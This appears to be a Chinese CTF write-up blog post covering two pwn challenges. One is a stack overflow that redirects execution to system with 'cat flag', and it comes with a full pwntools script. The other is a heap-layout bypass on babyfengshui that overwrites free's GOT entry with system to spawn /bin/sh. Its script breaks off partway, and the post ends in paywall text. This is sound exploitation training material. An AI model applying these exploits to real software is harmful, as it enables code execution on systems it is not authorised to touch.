46 jarvisoj_test_your_memory
保护


这个地方有个溢出。


后门函数,cat flag都有,就直接一把梭。
from pwn import*
r = process('./46')
system_addr = 0x08048440
cat_flag = 0x080487E0
payload='A'*0x17 + p32(system_addr) + p32(cat_flag) + p32(cat_flag)
r.sendline(payload)
r.interactive()
47 babyfengshui_33c3_2016
保护

一看就知道是个堆。逻辑复杂。
add
堆题首先就是要把它的结构分析清楚。
delete
指针就清空了一个,所以是有uaf的。
display
输出函数平平无奇。
update
又是菜单题 这非常的pwn
这种函数逐渐的引起了我的注意
所以这是个啥意思?
if ( (char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4 )
它其实是不想让我们像前面那道题一样一上来直接unlink,从而控制它的这个数组,也不能堆溢出。
但是其实你仔细研究一下的话会发现这个检查机制很初级,有问题,它只能检测内存分配的时候description的chunk与ptr指向的chunk不会发生溢出。
这个检查问题就出在它默认des一定在node上面而且贴在一起,但是呢,我们最后的结果就是构造了一种情况,des在node上面,但是不是贴在一起的,这就造成了能往中间写东西。
第一个图是申请了三个note,内存是这样的
上面所有大小都是0x80
将第一个node释放掉, 然后上面会空出来0x100大小的空间,然后再写一个0x100大小的des,就会有图二的结果。
然后des2到nod2都是可以写的,就蟹盖free的got表,改成sys,然后在des2里面写入/bin/sh,然后free2就行了

from pwn import *
context(arch='amd64', os='linux',log_level='debug')
context.terminal=['tmux','splitw','-h']
p = process('./47')
libc = ELF("/glibc/2.19/32/lib/libc-2.19.so")
elf=ELF("./babyfengshui")
def add(deslen,txtlen,text):
p.sendlineafter("Action: ",str(0))
p.sendlineafter(

博客内容涉及多种信息安全技术,包括缓冲区溢出、堆管理漏洞利用和系统调用。通过示例代码展示了如何利用栈溢出和堆漏洞来控制系统执行,如修改函数指针、利用UAF(Use-After-Free)进行内存篡改,以及通过命令注入执行系统命令。此外,还提到了逆向工程在分析程序行为中的作用。
最低0.47元/天 解锁文章
406

被折叠的 条评论
为什么被折叠?



